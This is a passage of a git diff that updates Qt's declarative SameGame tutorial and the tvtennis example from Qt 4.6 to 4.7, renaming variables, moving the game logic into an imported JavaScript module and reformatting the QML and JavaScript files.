     gameCanvas.score += (fillFound - 1) * (fillFound - 1);
     shuffleDown();
@@ -91,67 +81,65 @@ function handleClick(x,y)
 }
 //![1]
 
-function floodFill(xIdx,yIdx,type)
-{
-    if(board[index(xIdx, yIdx)] == null)
+function floodFill(column, row, type) {
+    if (board[index(column, row)] == null)
         return;
     var first = false;
-    if(type == -1){
+    if (type == -1) {
         first = true;
-        type = board[index(xIdx,yIdx)].type;
-        
+        type = board[index(column, row)].type;
+
         //Flood fill initialization
         fillFound = 0;
         floodBoard = new Array(maxIndex);
     }
-    if(xIdx >= maxX || xIdx < 0 || yIdx >= maxY || yIdx < 0)
+    if (column >= maxColumn || column < 0 || row >= maxRow || row < 0)
         return;
-    if(floodBoard[index(xIdx, yIdx)] == 1 || (!first && type != board[index(xIdx,yIdx)].type))
+    if (floodBoard[index(column, row)] == 1 || (!first && type != board[index(column, row)].type))
         return;
-    floodBoard[index(xIdx, yIdx)] = 1;
-    floodFill(xIdx+1,yIdx,type);
-    floodFill(xIdx-1,yIdx,type);
-    floodFill(xIdx,yIdx+1,type);
-    floodFill(xIdx,yIdx-1,type);
-    if(first==true && fillFound == 0)
-        return;//Can't remove single tiles
-    board[index(xIdx,yIdx)].opacity = 0;
-    board[index(xIdx,yIdx)] = null;
+    floodBoard[index(column, row)] = 1;
+    floodFill(column + 1, row, type);
+    floodFill(column - 1, row, type);
+    floodFill(column, row + 1, type);
+    floodFill(column, row - 1, type);
+    if (first == true && fillFound == 0)
+        return;     //Can't remove single blocks
+    board[index(column, row)].opacity = 0;
+    board[index(column, row)] = null;
     fillFound += 1;
 }
 
-function shuffleDown()
-{
+function shuffleDown() {
     //Fall down
-    for(var xIdx=0; xIdx<maxX; xIdx++){
+    for (var column = 0; column < maxColumn; column++) {
         var fallDist = 0;
-        for(var yIdx=maxY-1; yIdx>=0; yIdx--){
-            if(board[index(xIdx,yIdx)] == null){
+        for (var row = maxRow - 1; row >= 0; row--) {
+            if (board[index(column, row)] == null) {
                 fallDist += 1;
-            }else{
-                if(fallDist > 0){
-                    var obj = board[index(xIdx,yIdx)];
-                    obj.y += fallDist * gameCanvas.tileSize;
-                    board[index(xIdx,yIdx+fallDist)] = obj;
-                    board[index(xIdx,yIdx)] = null;
+            } else {
+                if (fallDist > 0) {
+                    var obj = board[index(column, row)];
+                    obj.y += fallDist * gameCanvas.blockSize;
+                    board[index(column, row + fallDist)] = obj;
+                    board[index(column, row)] = null;
                 }
             }
         }
     }
     //Fall to the left
     var fallDist = 0;
-    for(var xIdx=0; xIdx<maxX; xIdx++){
-        if(board[index(xIdx, maxY - 1)] == null){
+    for (var column = 0; column < maxColumn; column++) {
+        if (board[index(column, maxRow - 1)] == null) {
             fallDist += 1;
-        }else{
-            if(fallDist > 0){
-                for(var yIdx=0; yIdx<maxY; yIdx++){
-                    var obj = board[index(xIdx,yIdx)];
-                    if(obj == null)
+        } else {
+            if (fallDist > 0) {
+                for (var row = 0; row < maxRow; row++) {
+                    var obj = board[index(column, row)];
+                    if (obj == null)
                         continue;
-                    obj.x -= fallDist * gameCanvas.tileSize;
-                    board[index(xIdx-fallDist,yIdx)] = obj;
-                    board[index(xIdx,yIdx)] = null;
+                    obj.x -= fallDist * gameCanvas.blockSize;
+                    board[index(column - fallDist, row)] = obj;
+                    board[index(column, row)] = null;
                 }
             }
         }
@@ -159,31 +147,30 @@ function shuffleDown()
 }
 
 //![2]
-function victoryCheck()
-{
-    //awards bonuses for no tiles left
+function victoryCheck() {
+    //Award bonus points if no blocks left
     var deservesBonus = true;
-    for(var xIdx=maxX-1; xIdx>=0; xIdx--)
-        if(board[index(xIdx, maxY - 1)] != null)
-            deservesBonus = false;
-    if(deservesBonus)
+    for (var column = maxColumn - 1; column >= 0; column--)
+        if (board[index(column, maxRow - 1)] != null)
+        deservesBonus = false;
+    if (deservesBonus)
         gameCanvas.score += 500;
-    //Checks for game over
-    if(deservesBonus || !(floodMoveCheck(0,maxY-1, -1)))
+
+    //Check whether game has finished
+    if (deservesBonus || !(floodMoveCheck(0, maxRow - 1, -1)))
         dialog.show("Game Over. Your score is " + gameCanvas.score);
 }
 //![2]
 
-//only floods up and right, to see if it can find adjacent same-typed tiles 
-function floodMoveCheck(xIdx, yIdx, type)
-{
-    if(xIdx >= maxX || xIdx < 0 || yIdx >= maxY || yIdx < 0)
+//only floods up and right, to see if it can find adjacent same-typed blocks 
+function floodMoveCheck(column, row, type) {
+    if (column >= maxColumn || column < 0 || row >= maxRow || row < 0)
         return false;
-    if(board[index(xIdx, yIdx)] == null)
+    if (board[index(column, row)] == null)
         return false;
-    var myType = board[index(xIdx, yIdx)].type;
-    if(type == myType)
+    var myType = board[index(column, row)].type;
+    if (type == myType)
         return true;
-    return floodMoveCheck(xIdx + 1, yIdx, myType) ||
-           floodMoveCheck(xIdx, yIdx - 1, board[index(xIdx,yIdx)].type);
+    return floodMoveCheck(column + 1, row, myType) || floodMoveCheck(column, row - 1, board[index(column, row)].type);
 }
+
diff --git a/examples/declarative/tutorials/samegame/samegame3/samegame.qml b/examples/declarative/tutorials/samegame/samegame3/samegame.qml
index 168bf9b..bc5f2f8 100644
--- a/examples/declarative/tutorials/samegame/samegame3/samegame.qml
+++ b/examples/declarative/tutorials/samegame/samegame3/samegame.qml
@@ -1,35 +1,40 @@
 //![0]
-import Qt 4.6
+import Qt 4.7
+import "samegame.js" as SameGame
 
 Rectangle {
     id: screen
+
     width: 490; height: 720
 
     SystemPalette { id: activePalette }
-    Script { source: "samegame.js" }
 
     Item {
-        width: parent.width; anchors.top: parent.top; anchors.bottom: toolbar.top
+        width: parent.width
+        anchors { top: parent.top; bottom: toolBar.top }
 
         Image {
             id: background
-            anchors.fill: parent; source: "../shared/pics/background.jpg"
+            anchors.fill: parent
+            source: "../shared/pics/background.jpg"
             fillMode: Image.PreserveAspectCrop
         }
 
 //![1]
         Item {
             id: gameCanvas
+
             property int score: 0
-            property int tileSize: 40
+            property int blockSize: 40
 
-            z: 20; anchors.centerIn: parent
-            width: parent.width - (parent.width % tileSize);
-            height: parent.height - (parent.height % tileSize);
+            width: parent.width - (parent.width % blockSize)
+            height: parent.height - (parent.height % blockSize)
+            anchors.centerIn: parent
+            z: 20
 
             MouseArea {
-                id: gameMR
-                anchors.fill: parent; onClicked: handleClick(mouse.x,mouse.y);
+                anchors.fill: parent
+                onClicked: SameGame.handleClick(mouse.x, mouse.y)
             }
         }
 //![1]
@@ -40,22 +45,22 @@ Rectangle {
 //![2]
 
     Rectangle {
-        id: toolbar
+        id: toolBar
+        width: parent.width; height: 32
         color: activePalette.window
-        height: 32; width: parent.width
         anchors.bottom: screen.bottom
 
         Button {
-            id: btnA; text: "New Game"; onClicked: initBoard();
-            anchors.left: parent.left; anchors.leftMargin: 3
-            anchors.verticalCenter: parent.verticalCenter
+            anchors { left: parent.left; leftMargin: 3; verticalCenter: parent.verticalCenter }
+            text: "New Game" 
+            onClicked: SameGame.startNewGame()
         }
 
         Text {
             id: score
-            text: "Score: " + gameCanvas.score; font.bold: true
-            anchors.right: parent.right; anchors.rightMargin: 3
-            anchors.verticalCenter: parent.verticalCenter
+            anchors { right: parent.right; rightMargin: 3; verticalCenter: parent.verticalCenter }
+            text: "Score: Who knows?"
+            font.bold: true
         }
     }
 }
diff --git a/examples/declarative/tutorials/samegame/samegame4/content/BoomBlock.qml b/examples/declarative/tutorials/samegame/samegame4/content/BoomBlock.qml
index 9ef455a..d3a9df7 100644
--- a/examples/declarative/tutorials/samegame/samegame4/content/BoomBlock.qml
+++ b/examples/declarative/tutorials/samegame/samegame4/content/BoomBlock.qml
@@ -1,59 +1,75 @@
-import Qt 4.6
+import Qt 4.7
+import Qt.labs.particles 1.0
+
+Item {
+    id: block
 
-Item { id:block
     property int type: 0
     property bool dying: false
+
     //![1]
     property bool spawned: false
     property int targetX: 0
     property int targetY: 0
 
-    SpringFollow on x { enabled: spawned; source: targetX; spring: 2; damping: 0.2 }
-    SpringFollow on y { source: targetY; spring: 2; damping: 0.2 }
+    SpringFollow on x { to: targetX; spring: 2; damping: 0.2; enabled: spawned }
+    SpringFollow on y { to: targetY; spring: 2; damping: 0.2 }
     //![1]
 
     //![2]
-    Image { id: img
+    Image { 
+        id: img
+
+        anchors.fill: parent
         source: {
-            if(type == 0){
-                "../../shared/pics/redStone.png";
-            } else if(type == 1) {
-                "../../shared/pics/blueStone.png";
-            } else {
-                "../../shared/pics/greenStone.png";
-            }
+            if (type == 0)
+                return "../../shared/pics/redStone.png";
+            else if (type == 1) 
+                return "../../shared/pics/blueStone.png";
+            else
+                return "../../shared/pics/greenStone.png";
         }
         opacity: 0
-        Behavior on opacity { NumberAnimation { properties:"opacity"; duration: 200 } }
-        anchors.fill: parent
+
+        Behavior on opacity { 
+            NumberAnimation { properties:"opacity"; duration: 200 }
+        }
     }
     //![2]
 
     //![3]
-    Particles { id: particles
-        width:1; height:1; anchors.centerIn: parent;
-        emissionRate: 0;
-        lifeSpan: 700; lifeSpanDeviation: 600;
+    Particles {
+        id: particles
+
+        width: 1; height: 1 
+        anchors.centerIn: parent
+
+        emissionRate: 0
+        lifeSpan: 700; lifeSpanDeviation: 600
         angle: 0; angleDeviation: 360;
-        velocity: 100; velocityDeviation:30;
+        velocity: 100; velocityDeviation: 30
         source: {
-            if(type == 0){
-                "../../shared/pics/redStar.png";
-            } else if (type == 1) {
-                "../../shared/pics/blueStar.png";
-            } else {
-                "../../shared/pics/greenStar.png";
-            }
+            if (type == 0)
+                return "../../shared/pics/redStar.png";
+            else if (type == 1) 
+                return "../../shared/pics/blueStar.png";
+            else
+                return "../../shared/pics/greenStar.png";
         }
     }
     //![3]
 
     //![4]
     states: [
-        State{ name: "AliveState"; when: spawned == true && dying == false
+        State {
+            name: "AliveState"
+            when: spawned == true && dying == false
             PropertyChanges { target: img; opacity: 1 }
         },
-        State{ name: "DeathState"; when: dying == true
+
+        State {
+            name: "DeathState"
+            when: dying == true
             StateChangeScript { script: particles.burst(50); }
             PropertyChanges { target: img; opacity: 0 }
             StateChangeScript { script: block.destroy(1000); }
diff --git a/examples/declarative/tutorials/samegame/samegame4/content/Button.qml b/examples/declarative/tutorials/samegame/samegame4/content/Button.qml
index 6629302..8d322de5 100644
--- a/examples/declarative/tutorials/samegame/samegame4/content/Button.qml
+++ b/examples/declarative/tutorials/samegame/samegame4/content/Button.qml
@@ -1,25 +1,32 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     id: container
 
-    signal clicked
     property string text: "Button"
 
-    color: activePalette.button; smooth: true
-    width: txtItem.width + 20; height: txtItem.height + 6
-    border.width: 1; border.color: Qt.darker(activePalette.button); radius: 8;
+    signal clicked
+
+    width: buttonLabel.width + 20; height: buttonLabel.height + 6
+    smooth: true
+    border { width: 1; color: Qt.darker(activePalette.button) }
+    radius: 8
 
+    // color the button with a gradient
     gradient: Gradient {
         GradientStop {
-            id: topGrad; position: 0.0
-            color: if (mr.pressed) { activePalette.dark } else { activePalette.light } }
+            position: 0.0
+            color: {
+                if (mouseArea.pressed) 
+                    return activePalette.dark
+                else 
+                    return activePalette.light
+            }
+        }
         GradientStop { position: 1.0; color: activePalette.button }
     }
 
-    MouseArea { id: mr; anchors.fill: parent; onClicked: container.clicked() }
+    MouseArea { id: mouseArea; anchors.fill: parent; onClicked: container.clicked() }
 
-    Text {
-        id: txtItem; text: container.text; anchors.centerIn: container; color: activePalette.buttonText
-    }
+    Text { id: buttonLabel; text: container.text; anchors.centerIn: container; color: activePalette.buttonText }
 }
diff --git a/examples/declarative/tutorials/samegame/samegame4/content/Dialog.qml b/examples/declarative/tutorials/samegame/samegame4/content/Dialog.qml
index 831c03b..adb3f9e 100644
--- a/examples/declarative/tutorials/samegame/samegame4/content/Dialog.qml
+++ b/examples/declarative/tutorials/samegame/samegame4/content/Dialog.qml
@@ -1,21 +1,30 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     id: page
+
+    signal closed
+
     function forceClose() {
         page.closed();
         page.opacity = 0;
     }
+
     function show(txt) {
-        myText.text = txt;
+        dialogText.text = txt;
         page.opacity = 1;
     }
-    signal closed();
-    color: "white"; border.width: 1; width: myText.width + 20; height: 60;
+
+    width: dialogText.width + 20; height: dialogText.height + 20
+    color: "white"
+    border.width: 1
     opacity: 0
+
     Behavior on opacity { 
         NumberAnimation { duration: 1000 }
     }
-    Text { id: myText; anchors.centerIn: parent; text: "Hello World!" }
-    MouseArea { id: mr; anchors.fill: parent; onClicked: forceClose(); }
+
+    Text { id: dialogText; anchors.centerIn: parent; text: "Hello World!" }
+
+    MouseArea { anchors.fill: parent; onClicked: forceClose(); }
 }
diff --git a/examples/declarative/tutorials/samegame/samegame4/content/samegame.js b/examples/declarative/tutorials/samegame/samegame4/content/samegame.js
index 2a0d718..7800b6e 100755
--- a/examples/declarative/tutorials/samegame/samegame4/content/samegame.js
+++ b/examples/declarative/tutorials/samegame/samegame4/content/samegame.js
@@ -1,245 +1,219 @@
 /* This script file handles the game logic */
-//Note that X/Y referred to here are in game coordinates
-var maxX = 10;//Nums are for gameCanvas.tileSize 40
-var maxY = 15;
-var maxIndex = maxX*maxY;
+var maxColumn = 10;
+var maxRow = 15;
+var maxIndex = maxColumn * maxRow;
 var board = new Array(maxIndex);
-var tileSrc = "content/BoomBlock.qml";
-//var scoresURL = "http://qtfx-nokia.trolltech.com.au/samegame/scores.php";
+var component;
 var scoresURL = "";
-var timer;
-var component = createComponent(tileSrc);
+var gameDuration;
 
 //Index function used instead of a 2D array
-function index(xIdx,yIdx) {
-    return xIdx + (yIdx * maxX);
+function index(column, row) {
+    return column + (row * maxColumn);
 }
 
-function timeStr(msecs) {
-    var secs = Math.floor(msecs/1000);
-    var m = Math.floor(secs/60);
-    var ret = "" + m + "m " + (secs%60) + "s";
-    return ret;
-}
-
-function getTileSize()
-{
-    return tileSize;
-}
-
-function initBoard()
-{
-    for(var i = 0; i<maxIndex; i++){
-        //Delete old blocks
-        if(board[i] != null)
+function startNewGame() {
+    //Delete blocks from previous game
+    for (var i = 0; i < maxIndex; i++) {
+        if (board[i] != null)
             board[i].destroy();
     }
 
     //Calculate board size
-    maxX = Math.floor(gameCanvas.width/gameCanvas.tileSize);
-    maxY = Math.floor(gameCanvas.height/gameCanvas.tileSize);
-    maxIndex = maxY*maxX;
+    maxColumn = Math.floor(gameCanvas.width / gameCanvas.blockSize);
+    maxRow = Math.floor(gameCanvas.height / gameCanvas.blockSize);
+    maxIndex = maxRow * maxColumn;
 
     //Close dialogs
-    scoreName.forceClose();
+    nameInputDialog.forceClose();
     dialog.forceClose();
 
-    var a = new Date();
     //Initialize Board
     board = new Array(maxIndex);
     gameCanvas.score = 0;
-    for(var xIdx=0; xIdx<maxX; xIdx++){
-        for(var yIdx=0; yIdx<maxY; yIdx++){
-            board[index(xIdx,yIdx)] = null;
-            createBlock(xIdx,yIdx);
+    for (var column = 0; column < maxColumn; column++) {
+        for (var row = 0; row < maxRow; row++) {
+            board[index(column, row)] = null;
+            createBlock(column, row);
         }
     }
-    timer = new Date();
 
-    print(timer.valueOf() - a.valueOf());
+    gameDuration = new Date();
+}
+
+function createBlock(column, row) {
+    if (component == null)
+        component = createComponent("content/BoomBlock.qml");
+
+    // Note that if Block.qml was not a local file, component.isReady would be
+    // false and we should wait for the component's statusChanged() signal to
+    // know when the file is downloaded and fully loaded before calling createObject().
+    if (component.isReady) {
+        var dynamicObject = component.createObject();
+        if (dynamicObject == null) {
+            print("error creating block");
+            print(component.errorsString());
+            return false;
+        }
+        dynamicObject.type = Math.floor(Math.random() * 3);
+        dynamicObject.parent = gameCanvas;
+        dynamicObject.x = column * gameCanvas.blockSize;
+        dynamicObject.targetX = column * gameCanvas.blockSize;
+        dynamicObject.targetY = row * gameCanvas.blockSize;
+        dynamicObject.width = gameCanvas.blockSize;
+        dynamicObject.height = gameCanvas.blockSize;
+        dynamicObject.spawned = true;
+        board[index(column, row)] = dynamicObject;
+    } else {
+        print("error loading block component");
+        print(component.errorsString());
+        return false;
+    }
+    return true;
 }
 
-var fillFound;//Set after a floodFill call to the number of tiles found
-var floodBoard;//Set to 1 if the floodFill reaches off that node
-//NOTE: Be careful with vars named x,y, as the calling object's x,y are still in scope
-function handleClick(x,y)
-{
-    var xIdx = Math.floor(x/gameCanvas.tileSize);
-    var yIdx = Math.floor(y/gameCanvas.tileSize);
-    if(xIdx >= maxX || xIdx < 0 || yIdx >= maxY || yIdx < 0)
+var fillFound;
+//Set after a floodFill call to the number of blocks found
+var floodBoard;
+//Set to 1 if the floodFill reaches off that node
+function handleClick(xPos, yPos) {
+    var column = Math.floor(xPos / gameCanvas.blockSize);
+    var row = Math.floor(yPos / gameCanvas.blockSize);
+    if (column >= maxColumn || column < 0 || row >= maxRow || row < 0)
         return;
-    if(board[index(xIdx, yIdx)] == null)
+    if (board[index(column, row)] == null)
         return;
-    //If it's a valid tile, remove it and all connected (does nothing if it's not connected)
-    floodFill(xIdx,yIdx, -1);
-    if(fillFound <= 0)
+    //If it's a valid block, remove it and all connected (does nothing if it's not connected)
+    floodFill(column, row, -1);
+    if (fillFound <= 0)
         return;
     gameCanvas.score += (fillFound - 1) * (fillFound - 1);
     shuffleDown();
     victoryCheck();
 }
 
-function floodFill(xIdx,yIdx,type)
-{
-    if(board[index(xIdx, yIdx)] == null)
+function floodFill(column, row, type) {
+    if (board[index(column, row)] == null)
         return;
     var first = false;
-    if(type == -1){
+    if (type == -1) {
         first = true;
-        type = board[index(xIdx,yIdx)].type;
-        
+        type = board[index(column, row)].type;
+
         //Flood fill initialization
         fillFound = 0;
         floodBoard = new Array(maxIndex);
     }
-    if(xIdx >= maxX || xIdx < 0 || yIdx >= maxY || yIdx < 0)
+    if (column >= maxColumn || column < 0 || row >= maxRow || row < 0)
         return;
-    if(floodBoard[index(xIdx, yIdx)] == 1 || (!first && type != board[index(xIdx,yIdx)].type))
+    if (floodBoard[index(column, row)] == 1 || (!first && type != board[index(column, row)].type))
         return;
-    floodBoard[index(xIdx, yIdx)] = 1;
-    floodFill(xIdx+1,yIdx,type);
-    floodFill(xIdx-1,yIdx,type);
-    floodFill(xIdx,yIdx+1,type);
-    floodFill(xIdx,yIdx-1,type);
-    if(first==true && fillFound == 0)
-        return;//Can't remove single tiles
-    board[index(xIdx,yIdx)].dying = true;
-    board[index(xIdx,yIdx)] = null;
+    floodBoard[index(column, row)] = 1;
+    floodFill(column + 1, row, type);
+    floodFill(column - 1, row, type);
+    floodFill(column, row + 1, type);
+    floodFill(column, row - 1, type);
+    if (first == true && fillFound == 0)
+        return;     //Can't remove single blocks
+    board[index(column, row)].dying = true;
+    board[index(column, row)] = null;
     fillFound += 1;
 }
 
-function shuffleDown()
-{
+function shuffleDown() {
     //Fall down
-    for(var xIdx=0; xIdx<maxX; xIdx++){
+    for (var column = 0; column < maxColumn; column++) {
         var fallDist = 0;
-        for(var yIdx=maxY-1; yIdx>=0; yIdx--){
-            if(board[index(xIdx,yIdx)] == null){
+        for (var row = maxRow - 1; row >= 0; row--) {
+            if (board[index(column, row)] == null) {
                 fallDist += 1;
-            }else{
-                if(fallDist > 0){
-                    var obj = board[index(xIdx,yIdx)];
-                    obj.targetY += fallDist * gameCanvas.tileSize;
-                    board[index(xIdx,yIdx+fallDist)] = obj;
-                    board[index(xIdx,yIdx)] = null;
+            } else {
+                if (fallDist > 0) {
+                    var obj = board[index(column, row)];
+                    obj.targetY += fallDist * gameCanvas.blockSize;
+                    board[index(column, row + fallDist)] = obj;
+                    board[index(column, row)] = null;
                 }
             }
         }
     }
     //Fall to the left
     fallDist = 0;
-    for(xIdx=0; xIdx<maxX; xIdx++){
-        if(board[index(xIdx, maxY - 1)] == null){
+    for (column = 0; column < maxColumn; column++) {
+        if (board[index(column, maxRow - 1)] == null) {
             fallDist += 1;
-        }else{
-            if(fallDist > 0){
-                for(yIdx=0; yIdx<maxY; yIdx++){
-                    obj = board[index(xIdx,yIdx)];
-                    if(obj == null)
+        } else {
+            if (fallDist > 0) {
+                for (row = 0; row < maxRow; row++) {
+                    obj = board[index(column, row)];
+                    if (obj == null)
                         continue;
-                    obj.targetX -= fallDist * gameCanvas.tileSize;
-                    board[index(xIdx-fallDist,yIdx)] = obj;
-                    board[index(xIdx,yIdx)] = null;
+                    obj.targetX -= fallDist * gameCanvas.blockSize;
+                    board[index(column - fallDist, row)] = obj;
+                    board[index(column, row)] = null;
                 }
             }
         }
     }
 }
 
-function victoryCheck()
-{
-    //awards bonuses for no tiles left
+function victoryCheck() {
+    //Award bonus points if no blocks left
     var deservesBonus = true;
-    for(var xIdx=maxX-1; xIdx>=0; xIdx--)
-        if(board[index(xIdx, maxY - 1)] != null)
-            deservesBonus = false;
-    if(deservesBonus)
+    for (var column = maxColumn - 1; column >= 0; column--)
+        if (board[index(column, maxRow - 1)] != null)
+        deservesBonus = false;
+    if (deservesBonus)
         gameCanvas.score += 500;
-    //Checks for game over
-    if(deservesBonus || !(floodMoveCheck(0,maxY-1, -1))){
-        timer = new Date() - timer;
-        scoreName.show("You won! Please enter your name:                 ");
-        //dialog.show("Game Over. Your score is " + gameCanvas.score);
+
+    //Check whether game has finished
+    if (deservesBonus || !(floodMoveCheck(0, maxRow - 1, -1))) {
+        gameDuration = new Date() - gameDuration;
+        nameInputDialog.show("You won! Please enter your name:                 ");
     }
 }
 
-//only floods up and right, to see if it can find adjacent same-typed tiles 
-function floodMoveCheck(xIdx, yIdx, type)
-{
-    if(xIdx >= maxX || xIdx < 0 || yIdx >= maxY || yIdx < 0)
+//only floods up and right, to see if it can find adjacent same-typed blocks 
+function floodMoveCheck(column, row, type) {
+    if (column >= maxColumn || column < 0 || row >= maxRow || row < 0)
         return false;
-    if(board[index(xIdx, yIdx)] == null)
+    if (board[index(column, row)] == null)
         return false;
-    var myType = board[index(xIdx, yIdx)].type;
-    if(type == myType)
+    var myType = board[index(column, row)].type;
+    if (type == myType)
         return true;
-    return floodMoveCheck(xIdx + 1, yIdx, myType) ||
-           floodMoveCheck(xIdx, yIdx - 1, board[index(xIdx,yIdx)].type);
-}
-
-function createBlock(xIdx,yIdx){
-    // Note that we don't wait for the component to become ready. This will
-    // only work if the block QML is a local file. Otherwise the component will
-    // not be ready immediately. There is a statusChanged signal on the
-    // component you could use if you want to wait to load remote files.
-    if(component.isReady){
-        var dynamicObject = component.createObject();
-        if(dynamicObject == null){
-            print("error creating block");
-            print(component.errorsString());
-            return false;
-        }
-        dynamicObject.type = Math.floor(Math.random() * 3);
-        dynamicObject.parent = gameCanvas;
-        dynamicObject.x = xIdx*gameCanvas.tileSize;
-        dynamicObject.targetX = xIdx*gameCanvas.tileSize;
-        dynamicObject.targetY = yIdx*gameCanvas.tileSize;
-        dynamicObject.width = gameCanvas.tileSize;
-        dynamicObject.height = gameCanvas.tileSize;
-        dynamicObject.spawned = true;
-        board[index(xIdx,yIdx)] = dynamicObject;
-    }else{//isError or isLoading
-        print("error loading block component");
-        print(component.errorsString());
-        return false;
-    }
-    return true;
+    return floodMoveCheck(column + 1, row, myType) || floodMoveCheck(column, row - 1, board[index(column, row)].type);
 }
 
 //![2]
 function saveHighScore(name) {
-    if(scoresURL!="")
+    if (scoresURL != "")
         sendHighScore(name);
-    //OfflineStorage
-    var db = openDatabaseSync("SameGameScores", "1.0", "Local SameGame High Scores",100);
+
+    var db = openDatabaseSync("SameGameScores", "1.0", "Local SameGame High Scores", 100);
     var dataStr = "INSERT INTO Scores VALUES(?, ?, ?, ?)";
-    var data = [name, gameCanvas.score, maxX+"x"+maxY ,Math.floor(timer/1000)];
-    db.transaction(
-        function(tx) {
-            tx.executeSql('CREATE TABLE IF NOT EXISTS Scores(name TEXT, score NUMBER, gridSize TEXT, time NUMBER)');
-            tx.executeSql(dataStr, data);
-
-            var rs = tx.executeSql('SELECT * FROM Scores WHERE gridSize = "12x17" ORDER BY score desc LIMIT 10');
-            var r = "\nHIGH SCORES for a standard sized grid\n\n"
-            for(var i = 0; i < rs.rows.length; i++){
-                r += (i+1)+". " + rs.rows.item(i).name +' got '
-                    + rs.rows.item(i).score + ' points in '
-                    + rs.rows.item(i).time + ' seconds.\n';
-            }
-            dialog.show(r);
+    var data = [name, gameCanvas.score, maxColumn + "x" + maxRow, Math.floor(gameDuration / 1000)];
+    db.transaction(function(tx) {
+        tx.executeSql('CREATE TABLE IF NOT EXISTS Scores(name TEXT, score NUMBER, gridSize TEXT, time NUMBER)');
+        tx.executeSql(dataStr, data);
+
+        var rs = tx.executeSql('SELECT * FROM Scores WHERE gridSize = "12x17" ORDER BY score desc LIMIT 10');
+        var r = "\nHIGH SCORES for a standard sized grid\n\n"
+        for (var i = 0; i < rs.rows.length; i++) {
+            r += (i + 1) + ". " + rs.rows.item(i).name + ' got ' + rs.rows.item(i).score + ' points in ' + rs.rows.item(i).time + ' seconds.\n';
         }
-    );
+        dialog.show(r);
+    });
 }
 //![2]
 
 //![1]
 function sendHighScore(name) {
     var postman = new XMLHttpRequest()
-    var postData = "name="+name+"&score="+gameCanvas.score
-        +"&gridSize="+maxX+"x"+maxY +"&time="+Math.floor(timer/1000);
+        var postData = "name=" + name + "&score=" + gameCanvas.score + "&gridSize=" + maxColumn + "x" + maxRow + "&time=" + Math.floor(gameDuration / 1000);
     postman.open("POST", scoresURL, true);
     postman.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
-    postman.onreadystatechange = function() { 
+    postman.onreadystatechange = function() {
         if (postman.readyState == postman.DONE) {
             dialog.show("Your score has been uploaded.");
         }
@@ -247,3 +221,4 @@ function sendHighScore(name) {
     postman.send(postData);
 }
 //![1]
+
diff --git a/examples/declarative/tutorials/samegame/samegame4/highscores/scores.php b/examples/declarative/tutorials/samegame/samegame4/highscores/scores.php
index 3cceb2d..daf480e 100755
--- a/examples/declarative/tutorials/samegame/samegame4/highscores/scores.php
+++ b/examples/declarative/tutorials/samegame/samegame4/highscores/scores.php
@@ -8,10 +8,7 @@
         $time = $_POST["time"];
         if($name == "")
             $name = "Anonymous";
-        //if($grid != "10x10"){
-        //Need a standard, so as to reject others?
-        //}
-	$file = fopen("score_data.xml", "a"); #It's XML. Happy?
+	$file = fopen("score_data.xml", "a");
         $ret = fwrite($file, "<record><score>". $score . "</score><name>" 
             . $name . "</name><gridSize>" . $grid . "</gridSize><seconds>"
             . $time . "</seconds></record>\n");
diff --git a/examples/declarative/tutorials/samegame/samegame4/samegame.qml b/examples/declarative/tutorials/samegame/samegame4/samegame.qml
index c2e8018..b2a490d 100644
--- a/examples/declarative/tutorials/samegame/samegame4/samegame.qml
+++ b/examples/declarative/tutorials/samegame/samegame4/samegame.qml
@@ -1,77 +1,87 @@
-import Qt 4.6
+import Qt 4.7
 import "content"
+import "content/samegame.js" as SameGame
 
 Rectangle {
     id: screen
+
     width: 490; height: 720
 
     SystemPalette { id: activePalette }
 
     Item {
-        width: parent.width; anchors.top: parent.top; anchors.bottom: toolBar.top
+        width: parent.width
+        anchors { top: parent.top; bottom: toolBar.top }
 
         Image {
             id: background
-            anchors.fill: parent; source: "../shared/pics/background.jpg"
+            anchors.fill: parent
+            source: "../shared/pics/background.jpg"
             fillMode: Image.PreserveAspectCrop
         }
 
         Item {
             id: gameCanvas
             property int score: 0
-            property int tileSize: 40
-
-            Script { source: "content/samegame.js" }
+            property int blockSize: 40
 
             z: 20; anchors.centerIn: parent
-            width: parent.width - (parent.width % getTileSize());
-            height: parent.height - (parent.height % getTileSize());
+            width: parent.width - (parent.width % blockSize);
+            height: parent.height - (parent.height % blockSize);
 
             MouseArea {
-                id: gameMR
-                anchors.fill: parent; onClicked: handleClick(mouse.x,mouse.y);
+                anchors.fill: parent; onClicked: SameGame.handleClick(mouse.x,mouse.y);
             }
         }
     }
 
     Dialog { id: dialog; anchors.centerIn: parent; z: 21 }
+
+    //![0]
     Dialog {
-        id: scoreName; anchors.centerIn: parent; z: 22;
+        id: nameInputDialog
+
+        anchors.centerIn: parent
+        z: 22
+
         Text {
-            id: spacer
+            id: dialogText
             opacity: 0
             text: "   You won! Please enter your name:"
         }
+
         TextInput {
-            id: editor
+            id: nameInput
+            width: 72
+            anchors { verticalCenter: parent.verticalCenter; left: dialogText.right }
+            focus: true
+
             onAccepted: {
-                if(scoreName.opacity==1&&editor.text!="")
-                    saveHighScore(editor.text);
-                scoreName.forceClose();
+                if (nameInputDialog.opacity == 1 && nameInput.text != "")
+                    SameGame.saveHighScore(nameInput.text);
+                nameInputDialog.forceClose();
             }
-            anchors.verticalCenter: parent.verticalCenter
-            width: 72; focus: true
-            anchors.left: spacer.right
         }
     }
+    //![0]
 
     Rectangle {
         id: toolBar
+        width: parent.width; height: 32
         color: activePalette.window
-        height: 32; width: parent.width
         anchors.bottom: screen.bottom
 
         Button {
-            id: btnA; text: "New Game"; onClicked: {initBoard();}
-            anchors.left: parent.left; anchors.leftMargin: 3
-            anchors.verticalCenter: parent.verticalCenter
+            anchors { left: parent.left; leftMargin: 3; verticalCenter: parent.verticalCenter }
+            text: "New Game" 
+            onClicked: SameGame.startNewGame()
         }
 
         Text {
             id: score
-            text: "Score: " + gameCanvas.score; font.bold: true
-            anchors.right: parent.right; anchors.rightMargin: 3
-            anchors.verticalCenter: parent.verticalCenter
+            anchors { right: parent.right; rightMargin: 3; verticalCenter: parent.verticalCenter }
+            text: "Score: " + gameCanvas.score
+            font.bold: true
         }
     }
 }
diff --git a/examples/declarative/tvtennis/tvtennis.qml b/examples/declarative/tvtennis/tvtennis.qml
index 6022a15..354a16f 100644
--- a/examples/declarative/tvtennis/tvtennis.qml
+++ b/examples/declarative/tvtennis/tvtennis.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 import Qt.multimedia 4.7
 
 Rectangle {
